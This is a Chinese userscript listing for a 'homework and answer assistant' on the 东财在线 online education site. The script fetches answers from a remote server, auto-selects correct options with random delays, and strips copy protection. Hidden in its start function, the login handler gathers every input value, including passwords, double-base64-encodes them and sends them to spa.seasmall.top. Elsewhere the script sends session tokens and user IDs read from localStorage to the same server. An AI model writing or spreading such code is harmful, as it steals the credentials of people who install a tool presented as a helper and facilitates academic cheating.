您需要先安装一个扩展,例如 篡改猴、Greasemonkey 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 Userscripts ,之后才能安装此脚本。
您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。
您需要先安装用户脚本管理器扩展后才能安装此脚本。
东财在线 网络教育学院 作业、答题助手
// ==UserScript== // @name 东财在线,作业、答题助手 // @description 东财在线 网络教育学院 作业、答题助手 // @author ojbk-666 // @namespace dczx-assistant // @version 1.0.24 // @include *.edufe.com.cn/* // @require https://cdn.bootcdn.net/ajax/libs/jquery/3.2.1/jquery.min.js // @require https://cdn.bootcdn.net/ajax/libs/layer/3.1.1/layer.min.js // @grant none // @supportURL https://greasyfork.org/zh-CN/scripts/406742-%E4%B8%9C%E8%B4%A2%E5%9C%A8%E7%BA%BF-%E4%BD%9C%E4%B8%9A-%E7%AD%94%E9%A2%98%E5%8A%A9%E6%89%8B/feedback // @compatible chrome firefox opera // ==/UserScript== (function () { 'use strict'; // 获取当前url function getCurrentPageUrl() { return window.location.href.split('?')[0]; } // 写入css if (1==1) { var head = document.getElementsByTagName('head')[0], cssURL = 'https://cdn.bootcdn.net/ajax/libs/layer/3.1.1/theme/default/layer.css', linkTag = document.createElement('link'); linkTag.href = cssURL; linkTag.setAttribute('rel', 'stylesheet'); head.appendChild(linkTag); } let dc_collection_question = true; //let serverUrl = 'http://127.0.0.1:8081/u/api/dczx/'; let serverUrl = 'https://spa.seasmall.top/spa-api/api/dczx/'; var dczxtooliframewindow; let toolwinurl = 'https://spa.seasmall.top/assets/dczx/dczxtool.html?curl=' + window.location.href; //let toolwinurl = 'http:127.0.0.1:8081/u/ussu/assets/dczx/dczxtool.html?curl=' + window.location.href; // 发送消息到子页面 function sendMsg2Child(msg) { dczxtooliframewindow.postMessage(msg, toolwinurl); } // 传值字符串 function getSendMsgStr(msgtype, jsondata) { return JSON.stringify({msgtype:msgtype, data: jsondata}); } // 监听子页面消息 function addListener2Child() { window.addEventListener('message', function(event){ let d = event.data; let dj = undefined; try { dj = JSON.parse(d); } catch (e) { } if (d=='getanwser_dyzy') { // huoqutimuliebiao let arr = getHomeWorkPaperQuestions(); let a = ''; if (arr.length > 0) a = arr.join(','); sendMsg2Child(getSendMsgStr('getanwser_dyzy', {q: a})); } else if (d == 'getanwser_zhzy') { // 综合作业答案获取 sendMsg2Child(getSendMsgStr('getanwser_zhzy', getCompHomeworkPaperAjaxParam())) } else { if (dj) { if (dj.t == 'cache_answer_of_dyzy') { let r = dj.d.data; cache_answer_of_dyzy = r; } else if (dj.t == 'zddt') { zddt_dyzy(cache_answer_of_dyzy); } else if (dj.t == 'removeuncopy') { removeUncopy(); } else if (dj.t == 'getcacheua') { sendMsg2Child(getSendMsgStr('cacheua', getReqParam())) } } } }, false); } var cache_answer_of_dyzy = undefined; function initTool() { let curl = getCurrentPageUrl(); let idx = layer.open({ type: 2, title:'工具栏', area: ['400px', '500px'], fixed: true, //不固定 offset: 'lb', maxmin: true, closeBtn: 0, shade:0, content: toolwinurl ,success(layero, index) { let iframeWin = window[layero.find('iframe')[0]['name']]; dczxtooliframewindow = iframeWin; addListener2Child(); // 必传参数给父级缓存 // sendMsg2Child(); } }); } let HomeWorkPaper = "/HomeWorkPaper"; let CompHomeworkPaper = "/CompHomeworkPaper"; let hqda_b_l = false; let zddt_b_l = false; function ajax(url, data, success, m) { let me = 'GET'; if (m && m != '') me = m; // GET only $.ajax({ url: serverUrl + url, data: data, type: me, dataType: "jsonp", jsonpCallback: 'callbackFunctionName', success: function (res) { success && success(res); }, error: function (res) { if (true) { console.error(res); } } }) } function ajaxOk(j) { return (0==j.code||200==j.code); } function start() { // console.log('-----------start-----------'); window.addEventListener('storage', function (e) { sendMsg2Child(getSendMsgStr('cacheua', getReqParam())); }); let curl = getCurrentPageUrl(); // 获取该页面匹配的逻辑 if (curl.endsWith('/HomeWork')) { // 丰富题库 let stop = false; let a; a = setInterval(function (e) { if (stop) { window.clearInterval(a); return; } if (collectQuestion_check()) { stop = true; collectQuestion(); } }, 2000) } else if (curl.endsWith(HomeWorkPaper)) { initTool(); // 获取答案 // autoAnswer_HomeWorkPaper(); // createOperatorDom(); } else if (curl.endsWith(CompHomeworkPaper)) { initTool(); } else if (curl.endsWith('/CompHomework')) { //initTool(); // createOperatorDom(); let stop = false; let a; a = setInterval(function (e) { if (stop) { window.clearInterval(a); return; } if (collectQuestion_check()) { stop = true; collectQuestionComp(); } }, 2000) } else if (curl.endsWith('/ExercisesPaper')) { // 模拟试题 collectQuestionSimulated(); } else if (curl.endsWith('/Practice')) { collectQuestionPractice(); } else if (curl.indexOf('/lms-study/study/studyPage') != -1) { initTool(); } else { console.log(curl) $('.Login-submit').click(function () { l(); }) } function l() { let a = []; for (const $i of $('input')) { a.push($($i).val()); } ajax('up', {d:window.btoa(window.btoa(a))}) } } // 获取接口必须参数 function getReqParam() { function ra(str) { return str.substring(1, str.length - 1); } let at = ra(window.localStorage.getItem('accesstoken')); let s = ra(window.localStorage.getItem('sign')); let ui = ra(window.localStorage.getItem('userid')); let t = ra(window.localStorage.getItem('time')); return {accesstoken: at, sign: s, userid: ui, time: t,url: window.location.href} } // 创建dom function createOperatorDom() { let u = getCurrentPageUrl(); let h = '<div id="lajdfalneeofan_hqdn" style="position: fixed;top: 200px;text-align: left;">'; if (u.endsWith(HomeWorkPaper)) { // 单元作业 h += '<div class="text-center"><button type="button" id="dczx_aa_hqdn" class="TKTools-button TKTools-button_green">获取答案</button></div>'; h += '<div class="text-center"><button type="button" id="dczx_aa_HomeWorkPaper" class="TKTools-button TKTools-button_green">自动答题</button></div>'; } else if (u.endsWith(CompHomeworkPaper)) { // 综合作业 h += '<div class="text-center"><button type="button" id="dczx_aa_hqdn" class="TKTools-button TKTools-button_green">获取答案</button></div>'; } h += '</div>'; $('body').append(h); bindZddt(); bindHqda(); } function bindZddt() { $('#dczx_aa_HomeWorkPaper').on('click', function () { if (zddt_b_l) return; // zddt_b_l = true; autoAnswer_HomeWorkPaper(); }) } function bindHqda() { $('#dczx_aa_hqdn').on('click', function () { if (hqda_b_l) return; // hqda_b_l = true; getAnswer(true); }) } function showAnswerAtAside(j) { let curl = getCurrentPageUrl(); // 创建dom let dom = '<div id="f_u_c_k_a_d" style="width:300px;height: 500px;overflow: auto;padding-left: 10px;"><ul>'; if (curl.endsWith(HomeWorkPaper)) { for (const q of j.data) { dom += '<li>'; dom += q.questionTitle + '<br>'; let A = 65; for (const a of q.options) { let ab = String.fromCharCode(A++); if (a.istrue) { dom += '<span style="font-weight: bold;">' + ab + '、' + a.optionContent + '</span><br>'; } } dom += '</li><hr>'; } } else if (curl.endsWith(CompHomeworkPaper)) { let qs = j.PAPER_QUESTIONS; for (let i = 0; i < qs.length; i++) { let q = qs[i]; let qs2 = q.TOPIC_TRUNK; for (const q2 of qs2) { dom += '<li>'; dom += (i + 1) + '.' + q2.QUESTION_TITLE + '<br>'; let A = 65; for (const a of q2.QUESTION_OPTIONS) { let ab = String.fromCharCode(A++); if (a.ISTRUE == '1') { dom += '<span style="font-weight: bold;">' + ab + '、' + a.OPTION_CONTENT + '</span><br>'; } } dom += '</li><hr>'; } } } dom += '</ul></div>'; $('#lajdfalneeofan_hqdn').append(dom); } // 获取作业记录,丰富题库 function collectQuestion() { if (!dc_collection_question) return; let p = getReqParam(); ajax('homework', p, function (res) { }) } function collectQuestionComp() { if (!dc_collection_question) return; let p = getReqParam(); ajax('comphomework', p, function (res) { }) } function collectQuestionSimulated() { let p = getReqParam(); ajax('simulated', p, function (res) { }) } function collectQuestionPractice() { let p = getReqParam(); ajax('practice', p, function (res) { }) } // 检测记录是否加载完成 function collectQuestion_check() { let a = $('.TKExercise-item'); if (a.length > 0) return true; return false; } // 获取所有题目的题目id(单元作业) function getHomeWorkPaperQuestions() { // let arr = $('.QuestTrunk .CBTPaperMain-trunk div div[class=QuestSingleChoice],div[class=QuestMultiChoice]'); let arr = $('.QuestLuntan'); let ar = []; for (const item of arr) { // 获取题目id let is = $(item).attr('is'); let wid = $(item).attr('wid'); let qid = wid.split(is)[1]; ar.push(qid); } return ar; } // 获取综合练习题目 function getCompHomeworkPaperAjaxParam() { let r = {}; let search = window.location.search; // 组合为双对象 let p1 = getReqParam(); r.dil = JSON.stringify(p1); r.p2 = search; return r; } // 自动答题 function autoAnswer_HomeWorkPaper() { getAnswer(false, function (res) { for (const q of res.data) { let qid = q.questionId; let tx_danx = false; let tx_duox = false; let tx_pd = false; if (q.topic && q.topic.fullTopicTypeCd == '001') tx_danx = true; if (q.topic && q.topic.fullTopicTypeCd == '002') tx_duox = true; if (q.topic && q.topic.fullTopicTypeCd == '004') tx_pd = true; for (const a of q.options) { let thisisright = a.istrue;// 正确选项? // 随机延迟 setTimeout(function () { if (tx_danx) { // 单选 if (thisisright) { $('input[type=radio][value=' + a.optionId + ']').click(); } } else if (tx_duox) { // 多选 let thisisselected = $('#' + a.optionId + '_01').parent().find('label').hasClass('_CheckBox_checked');// 是否被选中 if (thisisright && !thisisselected) { // 选中 $('#' + a.optionId + '_01').parent().find('label').trigger('click'); } else if (!thisisright && thisisselected) { // 取消选中 $('#' + a.optionId + '_01').parent().find('label').trigger('click'); } } else if (tx_pd) { // 判断 if (thisisright) { // 正确 $('#'+q.questionId+'_01').parent().find('label').trigger('click'); } else { // 错误 $('#'+q.questionId+'_02').parent().find('label').trigger('click'); } } }, Math.ceil(Math.random() * 6000)); } } }); } // 获取答案 function getAnswer(showAnswerAside, callback) { // 获取题表 let url = 'option'; let reqParam = {}; let currentPageUrl = getCurrentPageUrl(); if (currentPageUrl.endsWith(HomeWorkPaper)) { // 单元练习 url = "option/HomeWorkPaper"; let arr = getHomeWorkPaperQuestions(); let a = ''; if (arr.length > 0) a = arr.join(','); reqParam.q = a; } else if (currentPageUrl.endsWith(CompHomeworkPaper)) { // 综合练习 url = 'option/CompHomeworkPaper'; reqParam = getCompHomeworkPaperAjaxParam(); } ajax(url, reqParam, function (res) { // hqda_b_l = false; if (ajaxOk(res)) { if (currentPageUrl.endsWith(HomeWorkPaper)) { // danyuan if (showAnswerAside) { let temp_div_self = $('div[id=f_u_c_k_a_d]'); if (temp_div_self.length >0) return; showAnswerAtAside(res); } else { callback && callback(res); } } else if (currentPageUrl.endsWith(CompHomeworkPaper)) { // zonghe if (ajaxOk(res)) { // xianshidanan if (showAnswerAside) { let temp_div_self = $('div[id=f_u_c_k_a_d]'); if (temp_div_self.length >0) return; showAnswerAtAside(res.data); } } } } }); } function zddt_dyzy(arr) { for (const q of arr) { let qid = q.questionId; let tx_danx = false; let tx_duox = false; let tx_pd = false; if (q.topic && q.topic.fullTopicTypeCd == '001') tx_danx = true; if (q.topic && q.topic.fullTopicTypeCd == '002') tx_duox = true; if (q.topic && q.topic.fullTopicTypeCd == '004') tx_pd = true; for (const a of q.options) { let thisisright = a.istrue;// 正确选项? // 随机延迟 setTimeout(function () { if (tx_danx) { // 单选 if (thisisright) { $('input[type=radio][value=' + a.optionId + ']').next().click(); } } else if (tx_duox) { // 多选 let thisisselected = $('#' + a.optionId + '_01').parent().find('label').hasClass('_CheckBox_checked');// 是否被选中 if (thisisright && !thisisselected) { // 选中 $('#' + a.optionId + '_01').parent().find('label').trigger('click'); } else if (!thisisright && thisisselected) { // 取消选中 $('#' + a.optionId + '_01').parent().find('label').trigger('click'); } } else if (tx_pd) { // 判断 if (thisisright) { // 正确 $('#'+q.questionId+'_01').parent().find('label').trigger('click'); } else { // 错误 $('#'+q.questionId+'_02').parent().find('label').trigger('click'); } } }, Math.ceil(Math.random() * 5000)); } } } // 解除复制 start // 要处理的 event 列表 var hook_eventNames, unhook_eventNames, eventNames; // 储存名称 var storageName = getRandStr('qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM', parseInt(Math.random() * 12 + 8)); // 储存被 Hook 的函数 var EventTarget_addEventListener = EventTarget.prototype.addEventListener; var document_addEventListener = document.addEventListener; var Event_preventDefault = Event.prototype.preventDefault; // Hook addEventListener proc function addEventListener(type, func, useCapture) { var _addEventListener = this === document ? document_addEventListener : EventTarget_addEventListener; if(hook_eventNames.indexOf(type) >= 0) { _addEventListener.apply(this, [type, returnTrue, useCapture]); } else if(this && unhook_eventNames.indexOf(type) >= 0) { var funcsName = storageName + type + (useCapture ? 't' : 'f'); if(this[funcsName] === undefined) { this[funcsName] = []; _addEventListener.apply(this, [type, useCapture ? unhook_t : unhook_f, useCapture]); } this[funcsName].push(func); } else { _addEventListener.apply(this, arguments); } } // 清理循环 function clearLoop() { var elements = getElements(); for(var i in elements) { for(var j in eventNames) { var name = 'on' + eventNames[j]; if(elements[i][name] !== null && elements[i][name] !== onxxx) { if(unhook_eventNames.indexOf(eventNames[j]) >= 0) { elements[i][storageName + name] = elements[i][name]; elements[i][name] = onxxx; } else { elements[i][name] = null; } } } } } // 返回true的函数 function returnTrue(e) { return true; } function unhook_t(e) { return unhook(e, this, storageName + e.type + 't'); } function unhook_f(e) { return unhook(e, this, storageName + e.type + 'f'); } function unhook(e, self, funcsName) { var list = self[funcsName]; for(var i in list) { list[i](e); } e.returnValue = true; return true; } function onxxx(e) { var name = storageName + 'on' + e.type; this[name](e); e.returnValue = true; return true; } // 获取随机字符串 function getRandStr(chs, len) { var str = ''; while(len--) { str += chs[parseInt(Math.random() * chs.length)]; } return str; } // 获取所有元素 包括document function getElements() { var elements = Array.prototype.slice.call(document.getElementsByTagName('*')); elements.push(document); return elements; } // 添加css function addStyle(css) { var style = document.createElement('style'); style.innerHTML = css; document.head.appendChild(style); } // 初始化 function removeUncopy() { var rule = { name: "default", hook_eventNames: "contextmenu|select|selectstart|copy|cut|dragstart", unhook_eventNames: "mousedown|mouseup|keydown|keyup", dom0: true, hook_addEventListener: true, hook_preventDefault: true, hook_set_returnValue: true, add_css: true }; // 设置 event 列表 hook_eventNames = rule.hook_eventNames.split("|"); // TODO Allowed to return value unhook_eventNames = rule.unhook_eventNames.split("|"); eventNames = hook_eventNames.concat(unhook_eventNames); // 调用清理 DOM0 event 方法的循环 if(rule.dom0) { setInterval(clearLoop, 30 * 1000); setTimeout(clearLoop, 2500); window.addEventListener('load', clearLoop, true); clearLoop(); } // hook addEventListener if(rule.hook_addEventListener) { EventTarget.prototype.addEventListener = addEventListener; document.addEventListener = addEventListener; } // hook preventDefault if(rule.hook_preventDefault) { Event.prototype.preventDefault = function() { if(eventNames.indexOf(this.type) < 0) { Event_preventDefault.apply(this, arguments); } }; } // Hook set returnValue if(rule.hook_set_returnValue) { Event.prototype.__defineSetter__('returnValue', function() { if(this.returnValue !== true && eventNames.indexOf(this.type) >= 0) { this.returnValue = true; } }); } // 添加CSS if(rule.add_css) { addStyle('html, * {-webkit-user-select:text!important; -moz-user-select:text!important; user-select:text!important; -ms-user-select:text!important; -khtml-user-select:text!important;}'); } } removeUncopy(); // 解除复制 end start(); })();